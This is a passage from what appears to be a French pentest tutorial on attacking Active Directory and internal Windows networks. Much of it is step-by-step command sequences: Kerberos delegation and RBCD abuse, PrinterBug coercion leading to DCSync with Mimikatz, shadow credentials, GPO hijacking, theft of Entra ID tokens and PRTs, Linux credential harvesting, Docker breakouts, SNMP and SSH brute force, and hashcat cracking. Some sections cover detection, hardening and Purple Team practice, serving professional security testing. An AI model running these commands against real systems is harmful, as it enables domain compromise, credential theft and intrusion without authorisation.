RETURN u1.name AS attacker, u2.name AS target, u2.admincount

La délégation Kerberos : un vecteur d'attaque systématiquement sous-estimé

La délégation Kerberos permet à un service de s'authentifier auprès d'autres services au nom d'un utilisateur. Cette fonctionnalité légitime est régulièrement mal configurée, créant des vecteurs d'escalade critique. Il existe trois types de délégation, avec des risques très différents.

La délégation non contrainte (Unconstrained Delegation) est la plus dangereuse : le service peut s'authentifier auprès de n'importe quel service du domaine au nom de l'utilisateur. Lorsqu'un utilisateur s'authentifie auprès d'un service avec délégation non contrainte, son TGT complet est placé en mémoire sur ce serveur — un attaquant qui compromet ce serveur obtient ces TGT et peut les utiliser librement. Combinée à la coercition (forcer un DC à s'authentifier vers le serveur compromis), cette technique permet d'obtenir un TGT de DC machine et d'effectuer un DCSync.

La délégation contrainte (Constrained Delegation) limite l'accès aux services spécifiquement autorisés — mais elle reste exploitable via S4U2Self/S4U2Proxy pour impersonner n'importe quel utilisateur vers le service cible. La délégation contrainte basée sur les ressources (Resource-Based Constrained Delegation — RBCD) est la plus moderne et la moins risquée, mais son abus via des droits d'écriture sur l'objet AD cible est un vecteur d'escalade très efficace en 2026.

# Exploitation de la délégation non contrainte
# 1. Identifier les serveurs avec unconstrained delegation
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation |
  Select-Object Name, TrustedForDelegation

# 2. Sur le serveur compromis : surveiller les TGT entrants (Rubeus monitor)
.\Rubeus.exe monitor /interval:5 /nowrap

# 3. Déclencher une coercition depuis le DC
python3 printerbug.py domain.local/user:Password123@dc01.domain.local COMPROMISED_SERVER_IP

# 4. Le TGT du DC arrive dans Rubeus monitor - le récupérer
.\Rubeus.exe ptt /ticket:BASE64_TGT_DC

# 5. DCSync avec le ticket DC$
.\Mimikatz.exe "lsadump::dcsync /domain:domain.local /user:Administrator" exit

# Exploitation RBCD
# Si l'attaquant a des droits GenericWrite sur un objet machine :
# 1. Créer un compte machine attaquant
New-MachineAccount -MachineAccount AttackerPC -Password (ConvertTo-SecureString 'Password123' -AsPlainText -Force)

# 2. Configurer RBCD : autoriser AttackerPC$ à déléguer vers la cible
Set-ADComputer -Identity TARGET_PC -PrincipalsAllowedToDelegateToAccount AttackerPC$

# 3. Obtenir un ticket de service pour Administrator sur la cible
.\Rubeus.exe s4u /user:AttackerPC$ /rc4:ATTACKER_HASH /impersonateuser:Administrator /msdsspn:cifs/TARGET_PC /ptt

45. Protocoles propriétaires Microsoft et leurs vulnérabilités

Le réseau Windows d'entreprise repose sur une dizaine de protocoles propriétaires Microsoft dont la compréhension approfondie est indispensable pour le Red Teamer. Chacun présente des particularités qui peuvent être exploitées dans des contextes spécifiques.

MS-RPC : le socle de l'exploitation Windows

MS-RPC (Microsoft Remote Procedure Call) est le protocole de communication fondamental de Windows, utilisé par SMB, DCOM, WMI, Kerberos, LDAP et une multitude de services. Comprendre MS-RPC permet de comprendre pourquoi de nombreuses techniques d'attaque fonctionnent de manière semi-permanente : les interfaces RPC exposent des fonctionnalités qui ne peuvent pas être simplement patchées sans casser des fonctionnalités Windows essentielles. C'est précisément pourquoi PrinterBug (MS-RPRN) et DFSCoerce (MS-DFSNM) ne seront probablement jamais patchés — désactiver ces interfaces RPC casserait l'impression réseau et la réplication DFS.

L'outil impacket expose une interface Python complète pour interagir avec les interfaces RPC Windows. En 2026, les modules les plus utilisés en pentest interne sont : rpcdump.py pour énumérer les interfaces RPC exposées, samrdump.py pour énumérer les utilisateurs via MS-SAMR, lookupsid.py pour résoudre les SID, et getPac.py pour analyser les Privilege Attribute Certificates Kerberos.

# Énumération des interfaces RPC exposées
rpcdump.py 192.168.1.10 | grep -E "MS-|ncacn"

# Énumération SAMR (utilisateurs, groupes)
samrdump.py domain.local/user:Password123@192.168.1.10

# Résolution de SID en nom
lookupsid.py domain.local/user:Password123@192.168.1.10 1000

# Brute force SID (trouver tous les utilisateurs/groupes)
lookupsid.py domain.local/user:Password123@192.168.1.10 5000 | grep -E "User:|Group:"

# Test des interfaces de coercition via rpcdump
rpcdump.py 192.168.1.10 | grep -i "efsr\|spoolss\|fsrvp\|netdfs"

SMB : bien plus qu'un partage de fichiers

Le protocole SMB (Server Message Block) est en 2026 toujours au cœur des attaques réseau Windows. SMBv3.1.1 (Windows 10/Server 2019+) apporte le chiffrement des connexions et la compression, mais SMBv1 — toujours présent dans de nombreux environnements legacy — reste une vulnérabilité majeure. La compromission de SMB Signing (désactivé par défaut sur les postes clients) est l'un des premiers vecteurs à vérifier en pentest interne.

# Vérification SMB Signing sur l'ensemble du réseau
nxc smb 192.168.1.0/24 --gen-relay-list targets_no_signing.txt
# Génère automatiquement la liste des machines sans SMB Signing

# Test SMBv1 (critiqué mais encore présent)
nxc smb 192.168.1.0/24 --shares --smb-timeout 5 | grep -i "smbv1\|SMBv1"

# Énumération des politiques de mot de passe via SMB
nxc smb dc01.domain.local -u user -p Password123 --pass-pol

# Enum des utilisateurs via SMB RID cycling (sans auth si RID null session)
nxc smb 192.168.1.10 -u '' -p '' --rid-brute

46. Forensics défensif et traces laissées par le pentester

Un pentester professionnel doit comprendre les traces qu'il laisse dans les logs Windows, dans l'Active Directory, et sur le réseau. Cette connaissance sert deux objectifs complémentaires : améliorer son OPSEC pour éviter la détection pendant la mission, et documenter précisément ses actions dans le rapport pour faciliter la corrélation côté défense.

Logs Windows générés par les techniques de pentest

# Consultation des logs DCSync depuis un DC
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4662] and EventData[Data[@Name='Properties'] and (Data='1131f6aa-9c07-11d1-f79f-00c04fc2dcd2' or Data='1131f6ab-9c07-11d1-f79f-00c04fc2dcd2')]]" |
  Select-Object TimeCreated, @{N='SubjectAccount';E={$_.Properties[1].Value}}, @{N='ObjectDN';E={$_.Properties[6].Value}}

# Analyse logs Kerberoasting
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4769] and EventData[Data[@Name='TicketEncryptionType']='0x17']]" |
  Select-Object TimeCreated, @{N='Account';E={$_.Properties[0].Value}}, @{N='ServiceName';E={$_.Properties[2].Value}}, @{N='ClientAddress';E={$_.Properties[6].Value}}

47. Hardening Active Directory : recommandations post-pentest

Un rapport de pentest interne de qualité ne liste pas seulement les vulnérabilités — il fournit un plan de remédiation concret et priorisé. En 2026, les 10 mesures de hardening AD les plus impactantes sont connues, documentées, mais rarement toutes implémentées simultanément par manque de ressources ou de compréhension des risques réels.

Le modèle Tiering Active Directory

Le modèle Tiering AD (ou modèle à trois niveaux) est la recommandation fondamentale de Microsoft et de l'ANSSI pour sécuriser un Active Directory. Il divise l'infrastructure en trois niveaux d'isolation stricte : Tier 0 (contrôleurs de domaine, infrastructure AD, serveurs ADCS), Tier 1 (serveurs applicatifs, infrastructure IT), et Tier 2 (postes de travail utilisateurs). Chaque compte n'a d'accès qu'aux machines de son niveau — un compte Tier 2 ne peut jamais s'authentifier sur un Tier 0 ou Tier 1, même en cas de compromission.

En pratique, l'implémentation du Tiering repose sur des Authentication Policies (Windows Server 2012R2+) qui limitent les comptes privilégiés à des hôtes spécifiques, des GPO qui bloquent la connexion de comptes non-Tier sur les machines des autres Tiers, et des comptes dédiés par niveau (un administrateur a trois comptes : un compte Tier 0 pour les DC, un compte Tier 1 pour les serveurs, un compte Tier 2 pour son usage quotidien). Le Tiering est le principal obstacle à la propagation latérale en réseau Windows — sa mise en place rend le mouvement latéral significativement plus difficile même avec des credentials compromis.

48. NTLM vs Kerberos : comprendre les protocoles pour mieux les exploiter

La maîtrise des protocoles d'authentification Windows est indispensable pour comprendre pourquoi certaines attaques fonctionnent et d'autres non selon le contexte. NTLM et Kerberos coexistent dans tous les environnements Windows modernes, chacun avec ses forces et faiblesses du point de vue offensif.

NTLM : le protocole legacy incontournable

NTLM (NT LAN Manager) est un protocole d'authentification challenge-response qui date des années 1990. Malgré ses nombreuses faiblesses connues, il reste activé dans tous les environnements Windows car il est nécessaire pour : l'authentification par adresse IP (pas de nom de domaine), les systèmes hors domaine, les authentifications lors du démarrage avant la disponibilité du DC, et de nombreux logiciels legacy. Le flux NTLM en trois étapes (NEGOTIATE → CHALLENGE → AUTHENTICATE) est la base des attaques de relay : l'attaquant reçoit le NEGOTIATE, l'envoie à la cible réelle, retourne le CHALLENGE au client, et retransmet l'AUTHENTICATE valide à la cible.

NTLMv1 est cryptographiquement cassé (challenge 64 bits, chiffrement DES) et crackable en quelques secondes. NTLMv2 améliore significativement la sécurité en incluant un timestamp et un challenge client dans le calcul HMAC-MD5, le rendant résistant au rejeu mais toujours vulnérable au cracking hors-ligne si le mot de passe est faible. La désactivation totale de NTLM est techniquement possible via GPO mais casse invariablement des applications legacy — c'est pourquoi Microsoft préconise désormais une approche progressive d'audit puis de blocage par seuil.

Kerberos : le standard moderne et ses abus

Kerberos est le protocole d'authentification standard des domaines Windows depuis Windows 2000. Son architecture à tickets (TGT, TGS) élimine la transmission du mot de passe sur le réseau, mais crée de nouveaux vecteurs d'attaque : les tickets peuvent être volés, forgés (Golden/Silver Ticket), et les échanges de Service Ticket (TGS-REP) peuvent être craqués hors-ligne (Kerberoasting). Le Ticket Granting Ticket (TGT) est le ticket principal obtenu après authentification au KDC — sa durée de vie est de 10 heures par défaut, et tout service peut demander un Service Ticket (TGS) en présentant un TGT valide.

# Analyse du trafic Kerberos avec Wireshark/tshark
tshark -r capture.pcap -Y 'kerberos' -T fields \
  -e ip.src -e kerberos.msg_type -e kerberos.CNameString \
  -e kerberos.SNameString -e kerberos.etype

# Types Kerberos intéressants :
# 10 = AS-REQ (demande TGT)
# 11 = AS-REP (réponse TGT)
# 12 = TGS-REQ (demande service ticket)
# 13 = TGS-REP (réponse service ticket - crackable si Kerberoasting)
# 14 = AP-REQ (utilisation du service ticket)
# 30 = KRB-ERROR (erreurs, infos sur les comptes inexistants)

# Detection d'AS-REP sans preauth dans le trafic
tshark -r capture.pcap -Y 'kerberos.msg_type == 11 and not kerberos.padata'

49. Techniques post-exploitation sur Linux/Unix

Les serveurs Linux dans un environnement d'entreprise Windows sont des cibles fréquemment négligées mais souvent très bien positionnées dans le réseau. Serveurs web, bases de données, systèmes de monitoring, pipelines CI/CD — un serveur Linux compromis peut ouvrir des accès significatifs vers l'AD via les secrets applicatifs qu'il contient.

Collecte de secrets sur les systèmes Linux

# Fichiers de configuration contenant des credentials
find /etc /var /opt /home -name "*.conf" -o -name "*.cfg" -o -name "*.ini" \
  -o -name "*.xml" -o -name "*.json" -o -name ".env" 2>/dev/null |
  xargs grep -l "password\|passwd\|secret\|token\|key\|credential" 2>/dev/null

# Historique bash/zsh (mots de passe tapés en ligne de commande)
cat /home/*/.bash_history /root/.bash_history 2>/dev/null | grep -E "pass|mysql|psql|ssh|ldap"

# Variables d'environnement (souvent des secrets injectés via Docker/k8s)
env | grep -iE "pass|secret|token|key|api"
cat /proc/*/environ 2>/dev/null | tr '\0' '\n' | grep -iE "pass|secret|token"

# SSH private keys
find / -name "id_rsa" -o -name "id_ed25519" -o -name "*.pem" 2>/dev/null

# Credentials dans les fichiers Docker Compose
find / -name "docker-compose*.yml" 2>/dev/null | xargs grep -i "password\|passwd" 2>/dev/null

# Tickets Kerberos (si Linux dans le domaine AD)
find /tmp -name "krb5cc_*" 2>/dev/null
ls -la /etc/krb5.keytab 2>/dev/null && klist -kt /etc/krb5.keytab

Container breakout : de Docker vers l'hôte

# Vérification si on est dans un container
cat /proc/1/cgroup | grep -i docker
ls /.dockerenv 2>/dev/null

# Container privilegié (breakout trivial)
mount | grep overlay
# Si privilegié :
fdisk -l
# Monter le disque hôte
mkdir /tmp/host && mount /dev/sda1 /tmp/host
chroot /tmp/host /bin/bash

# Cap SYS_PTRACE : injections via ptrace
# Cap SYS_ADMIN : namespace manipulation
# Vérification des capabilities dangereuses
capsh --print | grep -E "cap_sys_admin|cap_sys_ptrace|cap_dac_override"

# cgroup v1 breakout (CVE-2022-0492)
# notify_on_release + release_agent

# Docker socket exposure (breakout immédiat)
ls -la /var/run/docker.sock
# Si accessible :
docker run -v /:/mnt --rm -it alpine chroot /mnt sh

50. Active Directory : audit des GPO et délégations sensibles

Les Group Policy Objects (GPO) sont un vecteur d'attaque souvent négligé en pentest interne. Une GPO malicieuse ou mal configurée peut permettre l'exécution de code sur des milliers de postes simultanément — un impact potentiellement supérieur à la compromission du Domain Admin lui-même. L'analyse des GPO et des délégations associées est donc systématique dans un pentest interne de qualité.

# Énumération de toutes les GPO du domaine
Get-GPO -All | Select-Object DisplayName, GpoStatus, CreationTime, ModificationTime

# Recherche de GPO avec scripts de démarrage/logon (potentiellement dangereux)
Get-GPO -All | ForEach-Object {
  $gpo = $_
  $report = Get-GPOReport -Guid $gpo.Id -ReportType Xml
  if ($report -match "Script") {
    Write-Output "GPO avec scripts: $($gpo.DisplayName)"
  }
}

# Droits de modification sur les GPO (qui peut modifier quelles GPO)
Get-GPO -All | ForEach-Object {
  $perms = Get-GPPermission -Guid $_.Id -All
  $perms | Where-Object {$_.Permission -eq "GpoEditDeleteModifySecurity"} |
    ForEach-Object { Write-Output "GPO '$($_.DisplayName)' modifiable par: $($_.Trustee.Name)" }
}

# GPO Preferences avec mots de passe (cpassword)
Get-ChildItem -Path "\\domain.local\SYSVOL\domain.local\Policies" -Recurse -Filter "*.xml" |
  Select-String "cpassword" | Select-Object Path, LineNumber, Line

Abus des droits GPO pour l'escalade de privilèges

Si un attaquant obtient des droits d'écriture sur une GPO appliquée à des machines à haute valeur (DC, serveurs Tier 0/1), il peut y ajouter un script de démarrage ou une Scheduled Task qui exécute un payload avec SYSTEM. C'est l'une des techniques de mouvement latéral les plus puissantes car elle n'implique pas de connexion directe aux machines cibles — la GPO est appliquée automatiquement par Windows.

# Exploitation des droits GPO avec PowerView
# 1. Identifier les GPO modifiables
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs |
  Where-Object {$_.ActiveDirectoryRights -match "CreateChild|GenericAll|GenericWrite"} |
  Where-Object {$_.SecurityIdentifier -notmatch "S-1-5-21.*-519|S-1-5-21.*-512|S-1-5-18"}

# 2. Ajouter un utilisateur au groupe local Administrators via GPO
# (avec SharpGPOAbuse)
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker_user --GPOName "Default Domain Policy"

# 3. Forcer l'application de la GPO
# (attendre le délai de rafraîchissement ou déclencher manuellement)
Invoke-GPUpdate -Computer target_pc -Force

51. Analyse des Shadow Credentials et PKINIT

Les Shadow Credentials sont une technique d'attaque découverte en 2021 qui exploite l'attribut msDS-KeyCredentialLink des objets AD. Cet attribut, utilisé par Windows Hello for Business pour le chiffrement asymétrique, peut être manipulé par un attaquant ayant des droits d'écriture sur un compte pour y ajouter une clé publique contrôlée — permettant ensuite une authentification Kerberos PKINIT sans connaître le mot de passe du compte.

# Shadow Credentials avec Certipy
# Prérequis : droits GenericWrite ou WriteProperty sur l'objet cible

# 1. Ajouter une shadow credential sur le compte cible
certipy shadow auto -u user@domain.local -p Password123 \
  -account target_user -dc-ip 192.168.1.10

# Résultat : certificat PFX + hash NT de target_user (via PKINIT + U2U)

# 2. Alternative avec pyWhisker
python3 pywhisker.py -d domain.local -u user -p Password123 \
  --target target_user --action add

# 3. Authentification via le certificat obtenu
certipy auth -pfx target_user.pfx -dc-ip 192.168.1.10

# Shadow Credentials sur un compte machine (utile pour RBCD)
certipy shadow auto -u user@domain.local -p Password123 \
  -account TARGET_MACHINE$ -dc-ip 192.168.1.10

52. Attaques sur Entra ID (Azure AD) depuis le réseau interne

Avec la généralisation d'Entra ID (ex-Azure Active Directory), les environnements hybrides créent des opportunités d'escalade cloud inédites. Un attaquant ayant compromis un poste Windows joint à un domaine hybride peut accéder aux tokens Entra ID stockés localement et les utiliser pour accéder aux ressources cloud.

# Extraction des tokens Entra ID depuis un poste Windows joint
# Les tokens sont stockés dans le gestionnaire d'identités Windows (WAM)
# et dans les fichiers DPAPI

# AADInternals : extraction des tokens de refresh
Import-Module AADInternals
# Dump des tokens depuis le Web Account Manager
Get-AADIntAccessTokenFromCache -Resource "https://graph.microsoft.com" -ClientId "1b730954-1685-4b74-9bfd-dac224a7b894"

# Extraction depuis les cookies navigateur (Edge/Chrome)
Get-AADIntAccessTokenFromBrowser

# Avec les tokens Entra ID : énumération des ressources cloud
Connect-AzureAD -AadAccessToken $token -AccountId user@company.com
Get-AzureADUser -All $true | Select-Object DisplayName, UserPrincipalName, UserType
Get-AzureADGroup -All $true | Select-Object DisplayName, SecurityEnabled

Pass-the-PRT : abus des Primary Refresh Tokens

Le Primary Refresh Token (PRT) est un jeton d'authentification Entra ID stocké sur les postes Windows joints à Azure AD. Il permet d'obtenir des tokens d'accès pour n'importe quelle application cloud sans ré-authentification. Sa compromission depuis un poste joint donne accès à l'intégralité des ressources cloud de l'utilisateur.

# Extraction du PRT (nécessite admin local)
# Outil : ROADtools, AADInternals

# Extraction avec AADInternals
Import-Module AADInternals
$prt = Get-AADIntUserPRTToken

# Utilisation du PRT pour obtenir un token d'accès
$at = Get-AADIntAccessTokenForMSGraph -PRTToken $prt

# Accès à SharePoint, Teams, Exchange via le token
Invoke-RestMethod -Uri "https://graph.microsoft.com/v1.0/me" \
  -Headers @{Authorization = "Bearer $at"}

53. Techniques de déni de service ciblé en réseau interne (à documenter, pas à exécuter)

Cette section documente les techniques de déni de service ciblé qui peuvent être utilisées par des attaquants réels. Les pentesters ne les exécutent jamais sans autorisation explicite dans les RoE — leur documentation vise uniquement à permettre aux équipes défense de détecter les comportements précurseurs.

Les attaques de verrouillage de comptes consistent à provoquer intentionnellement le verrouillage de comptes AD (notamment des comptes de service critiques) en envoyant de fausses authentifications. Si la politique de verrouillage est à 3 tentatives, envoyer 3 mauvaises authentifications simultanées pour un compte de service critique (svc_sql, svc_exchange) peut interrompre des services applicatifs complets. Les groupes ransomware utilisent cette technique pour désorganiser la réponse à incident pendant le chiffrement.

Le KDC spoofing (CVE-2020-17049 — Bronze Bit) permettait à un attaquant de forger des tickets Kerberos avec l'attribut "Forwardable" même pour des comptes protégés. Bien que patché, ses variantes documentées dans la littérature de sécurité illustrent la fragilité inhérente du protocole Kerberos face aux attaques de bas niveau.

54. Pentest des services d'annuaire non-Microsoft

Les environnements mixtes combinant Active Directory avec d'autres annuaires LDAP — OpenLDAP, FreeIPA (Red Hat Identity Management), Oracle Internet Directory — présentent des vecteurs d'attaque spécifiques. La synchronisation d'annuaires entre AD et ces systèmes tiers crée des points de faiblesse potentiels où des credentials communs ou des trusts mal configurés permettent de traverser les frontières d'annuaire.

# Énumération LDAP générique (fonctionne avec tout annuaire LDAP)
ldapsearch -H ldap://192.168.1.50 -x -b "dc=company,dc=com" \
  "(objectClass=*)" | head -100

# Null bind (accès anonyme - souvent configuré par erreur)
ldapsearch -H ldap://192.168.1.50 -x -D "" -b "dc=company,dc=com" "(objectClass=person)" uid

# FreeIPA : exploitation via API REST
curl -k -H "Content-Type: application/json" \
  -d '{"method":"user_find","params":[[]{"all":true}]}' \
  https://ipa.company.com/ipa/json

# OpenLDAP : anonyme disclosure
nmap -p 389,636 --script ldap-search,ldap-rootdse 192.168.1.50

55. Sécurité des protocoles de gestion réseau

Les équipements réseau — commutateurs, routeurs, firewalls — disposent de leurs propres protocoles de gestion qui sont des cibles légitimes en pentest interne. SNMP, Telnet, SSH avec configurations faibles, et interfaces web d'administration HTTP constituent des vecteurs d'accès supplémentaires permettant de cartographier et potentiellement contrôler la topologie réseau.

# SNMP v1/v2 community string enumeration
nmap -sU -p 161 --script snmp-brute,snmp-info,snmp-interfaces 192.168.1.0/24
onesixtyone -c /usr/share/wordlists/metasploit/snmp_default_pass.txt 192.168.1.0/24

# Lecture SNMP avec community "public" (très courant)
snmpwalk -v 2c -c public 192.168.1.1
snmpwalk -v 2c -c public 192.168.1.1 .1.3.6.1.2.1.4.20  # Interfaces réseau

# Brute force SSH sur équipements réseau
nxc ssh 192.168.1.0/24 -u admin -p /usr/share/wordlists/cisco_passwords.txt

# CDP/LLDP : extraction de topologie réseau (nécessite position L2)
# Wireshark filter : cdp or lldp
tshark -i eth0 -Y 'cdp or lldp' -T json | python3 -c "
import json,sys
data = json.load(sys.stdin)
for pkt in data:
  print(pkt.get('_source',{}).get('layers',{}).get('cdp',{}).get('cdp.deviceid',''))"

56. Intelligence sur les vulnérabilités : CVE 2024-2025 en pentest interne

Le paysage des CVE applicables en pentest réseau interne évolue rapidement. En 2024-2025, plusieurs vulnérabilités critiques ont été découvertes dans des composants universellement déployés dans les environnements Windows d'entreprise. Leur exploitation en contexte de pentest interne est documentée ci-dessous.

# Vérification rapide des systèmes non patchés dans le réseau
# Script PowerShell pour inventaire des hotfixes manquants
nxc smb targets.txt -u admin -p Password123 \
  -x "wmic qfe list brief /format:csv" --no-bruteforce

# Nessus/OpenVAS scan ciblé sur les CVE critiques
# (nécessite accès authentifié dans les RoE)

# WinPEAS : détection automatique des vulnérabilités LPE locales
.\winPEASx64.exe quiet windowscreds dotnet

# Watson : détection ciblée des vulnérabilités Windows LPE
.\Watson.exe

57. Reporting avancé : métriques et KPI du pentest interne

Un rapport de pentest interne mature en 2026 ne se limite pas à la liste des vulnérabilités — il quantifie l'exposition et fournit des métriques actionnables permettant au management de prendre des décisions éclairées sur les investissements sécurité.

Métriques clés à inclure dans l'Executive Summary

Matrice de risque résiduel

La matrice de risque résiduel croise la criticité technique (CVSS) avec l'impact business contextualisé (continuité d'activité, atteinte aux données, image) et la difficulté d'exploitation effective (prérequis, complexité, détection). Cette double pondération permet de prioriser les remédiations en fonction de leur impact réel plutôt que de scores techniques abstraits.

# Exemple de calcul de score de risque contextualisé
def calculate_risk_score(cvss_score, business_impact, exploitability, detectability):
    """
    cvss_score: 0-10 (score CVSS v4.0)
    business_impact: 1-5 (1=faible, 5=critique)
    exploitability: 1-5 (1=très difficile, 5=trivial)
    detectability: 1-5 (1=très détectable, 5=invisible)

    Returns: risk_score 0-100, priorité
    """
    technical = cvss_score / 10
    contextual = (business_impact * 0.4 + exploitability * 0.3 + detectability * 0.3) / 5
    risk_score = (technical * 0.6 + contextual * 0.4) * 100

    if risk_score >= 80: priority = "CRITIQUE - Remédiation immédiate (< 48h)"
    elif risk_score >= 60: priority = "ÉLEVÉ - Remédiation sous 2 semaines"
    elif risk_score >= 40: priority = "MOYEN - Remédiation sous 1 mois"
    else: priority = "FAIBLE - Remédiation sous 3 mois"

    return round(risk_score, 1), priority

# Exemple : Kerberoasting sur compte DA
score, prio = calculate_risk_score(cvss_score=8.1, business_impact=5, exploitability=4, detectability=4)
print(f"Kerberoasting DA: {score}/100 — {prio}")
# Output: Kerberoasting DA: 87.3/100 — CRITIQUE - Remédiation immédiate (< 48h)

58. Intégration Purple Team : collaboration offense/défense

Le Purple Team est une approche collaborative où les équipes Red (offense) et Blue (défense) travaillent conjointement plutôt qu'en opposition. En 2026, cette méthodologie gagne en popularité car elle maximise la valeur des exercices offensifs : au lieu de révéler les failles uniquement dans le rapport final, le Red Team exécute les techniques une par une, la Blue Team observe ses alertes (ou leur absence), et des ajustements de détection sont effectués en temps réel.

Protocole Purple Team pour le réseau interne

Un exercice Purple Team type sur un réseau interne se déroule en trois phases itératives. La première phase "Assume Breach" commence avec un accès de niveau utilisateur de domaine — le Red Team exécute les techniques de reconnaissance (BloodHound, PingCastle) pendant que la Blue Team monitore les alertes MDI et les logs SIEM. Chaque technique est documentée avec son timestamp exact pour permettre la corrélation. La deuxième phase exécute les attaques d'escalade (Kerberoasting, ADCS, coercition) avec des pauses entre chaque technique pour permettre à la Blue Team de vérifier sa détection. La troisième phase valide les mesures correctives en rejouant les techniques après implémentation des contre-mesures — cette validation immédiate est ce qui différencie fondamentalement le Purple Team d'un pentest classique.

# Script de logging pour Purple Team : horodater toutes les actions
LOGFILE="/tmp/purple_team_$(date +%Y%m%d_%H%M%S).log"

log_action() {
  echo "[$(date '+%Y-%m-%d %H:%M:%S')] [RED] $1" | tee -a $LOGFILE
}

log_action "DEBUT: Reconnaissance BloodHound - bloodhound-python -c DCOnly"
bloodhound-python -u user@domain.local -p Password123 -d domain.local -ns 192.168.1.10 -c DCOnly --zip
log_action "FIN: BloodHound DCOnly - données collectées"

# Attendre confirmation Blue Team avant de continuer
read -p "Blue Team: alertes détectées? [o/N] " response
log_action "BLUE TEAM RESPONSE: $response"

59. Automatisation et scripting du pentest interne

L'automatisation de certaines phases du pentest interne permet d'augmenter la couverture et de réduire le temps passé sur les vérifications répétitives. En 2026, les frameworks d'automatisation Red Team permettent d'enchaîner des phases entières tout en maintenant un log précis pour le rapport.

#!/usr/bin/env python3
"""
Script de reconnaissance AD automatisée pour pentest interne
Usage: python3 recon_ad.py -u user -p Password123 -d domain.local -dc 192.168.1.10
"""

import subprocess
import argparse
import datetime
import os

def log(msg, level="INFO"):
    timestamp = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
    print(f"[{timestamp}] [{level}] {msg}")

def run_cmd(cmd, desc=""):
    log(f"Execution: {desc or cmd}")
    result = subprocess.run(cmd, shell=True, capture_output=True, text=True)
    return result.stdout, result.stderr

def main():
    parser = argparse.ArgumentParser(description="Recon AD automatisé")
    parser.add_argument("-u", "--user", required=True)
    parser.add_argument("-p", "--password", required=True)
    parser.add_argument("-d", "--domain", required=True)
    parser.add_argument("-dc", "--dc-ip", required=True)
    args = parser.parse_args()

    log("=== DEBUT RECONNAISSANCE AD ===")

    # Phase 1 : GetUserSPNs (Kerberoastable)
    out, _ = run_cmd(
        f"GetUserSPNs.py {args.domain}/{args.user}:'{args.password}' -dc-ip {args.dc_ip} -request -outputfile /tmp/spn_hashes.txt 2>/dev/null",
        "Kerberoasting enumeration"
    )

    # Phase 2 : GetNPUsers (AS-REP Roasting)
    out, _ = run_cmd(
        f"GetNPUsers.py {args.domain}/{args.user}:'{args.password}' -dc-ip {args.dc_ip} -request -outputfile /tmp/asrep_hashes.txt 2>/dev/null",
        "AS-REP Roasting enumeration"
    )

    # Phase 3 : BloodHound DCOnly
    out, _ = run_cmd(
        f"bloodhound-python -u '{args.user}@{args.domain}' -p '{args.password}' -d {args.domain} -ns {args.dc_ip} -c DCOnly --zip -o /tmp/bloodhound/ 2>/dev/null",
        "BloodHound collection"
    )

    # Phase 4 : Certipy find
    out, _ = run_cmd(
        f"certipy find -u '{args.user}@{args.domain}' -p '{args.password}' -dc-ip {args.dc_ip} -vulnerable -stdout 2>/dev/null",
        "ADCS vulnerability scan"
    )

    log("=== FIN RECONNAISSANCE AD ===")

if __name__ == "__main__":
    main()

60. Ressources complémentaires et veille en sécurité offensive

La sécurité offensive évolue à un rythme soutenu — des techniques découvertes en conférence un mois deviennent des exploits mainstream six mois plus tard. Maintenir ses compétences à jour est une obligation professionnelle pour tout pentester ou Red Teamer. Les ressources suivantes constituent en 2026 les sources de veille incontournables pour le réseau interne et Active Directory.

Les conférences incontournables pour la veille technique en sécurité offensive : DEF CON (Las Vegas, août), Black Hat (Las Vegas/Europe/Asia), BlueHat (Microsoft), Botconf (France, décembre), Pass the SALT (Lille, juillet) pour la scène française, et les actes de CanSecWest pour les recherches de pointe sur les protocoles. Les slides et papers de ces conférences sont disponibles gratuitement et contiennent systématiquement des techniques inédites plusieurs mois avant leur intégration dans les outils mainstream.

61. Analyse des politiques de mots de passe et stratégies de cracking

La politique de mots de passe d'un domaine Active Directory est l'un des indicateurs les plus révélateurs de la maturité sécurité d'une organisation. En pentest interne, l'analyse de cette politique est une étape préalable indispensable au cracking de hashes — elle permet d'optimiser les attaques par dictionnaire et d'estimer le taux de succès probable avant de lancer des campagnes de cracking longues et coûteuses en ressources. En 2026, la plupart des organisations ont adopté des politiques de longueur minimale de 12 caractères, mais la complexité imposée (majuscules, chiffres, caractères spéciaux) génère souvent des patterns prévisibles que les règles hashcat modernes exploitent efficacement.

Les Fine-Grained Password Policies (FGPP), introduites avec Windows Server 2008, permettent d'appliquer des politiques différentes selon les groupes d'utilisateurs. Les comptes de service ont souvent des politiques moins strictes — mots de passe non expirables, longueur minimale réduite — justement parce que leur rotation est complexe à gérer opérationnellement. Ces comptes sont précisément les cibles prioritaires du Kerberoasting, créant une combinaison dévastatrice : policy laxiste + SPN enregistré = credential de service crackable en quelques heures.

# Extraction des politiques de mot de passe du domaine
nxc smb dc01.domain.local -u user -p Password123 --pass-pol

# Politique de verrouillage (important pour ne pas bloquer des comptes)
Get-ADDefaultDomainPasswordPolicy | Select-Object LockoutDuration, LockoutObservationWindow, LockoutThreshold, MinPasswordLength, PasswordHistoryCount

# Fine-Grained Password Policies (FGPP)
Get-ADFineGrainedPasswordPolicy -Filter * | Select-Object Name, Precedence, MinPasswordLength, LockoutThreshold, ComplexityEnabled

# Hashcat : stratégie de cracking par étapes
# Étape 1 : Dictionnaire pur (wordlists FR + EN)
hashcat -m 5600 hashes.txt \
  /usr/share/wordlists/rockyou.txt \
  french_words.txt \
  company_specific.txt

# Étape 2 : Règles best64 sur les dictionnaires
hashcat -m 5600 hashes.txt rockyou.txt -r best64.rule

# Étape 3 : Règles Korelogic (patterns d'entreprise)
hashcat -m 5600 hashes.txt rockyou.txt -r Korelogic-password.rule

# Étape 4 : Masks pour patterns prédictibles
# Saison+Année+Spécial (ex: Hiver2024!, Printemps2025@)
hashcat -m 5600 hashes.txt -a 3 "?u?l?l?l?l?l?d?d?d?d?s"
hashcat -m 5600 hashes.txt company_seasons.hcmask

# Étape 5 : Prince attack (combinaisons de mots)
hashcat -m 5600 hashes.txt -a 6 french_words.txt "?d?d?d?s"

Création d'un dictionnaire personnalisé (OSINT + contexte client)

# CeWL : générer un dictionnaire depuis le site web de l'organisation
cewl https://www.company.com -d 3 -m 6 -w company_wordlist.txt --email

# Inclure variantes de nom d'entreprise
cat > company_specific.txt << 'WORDS'
Company2024
Company2025
Company@2024
Company@2025
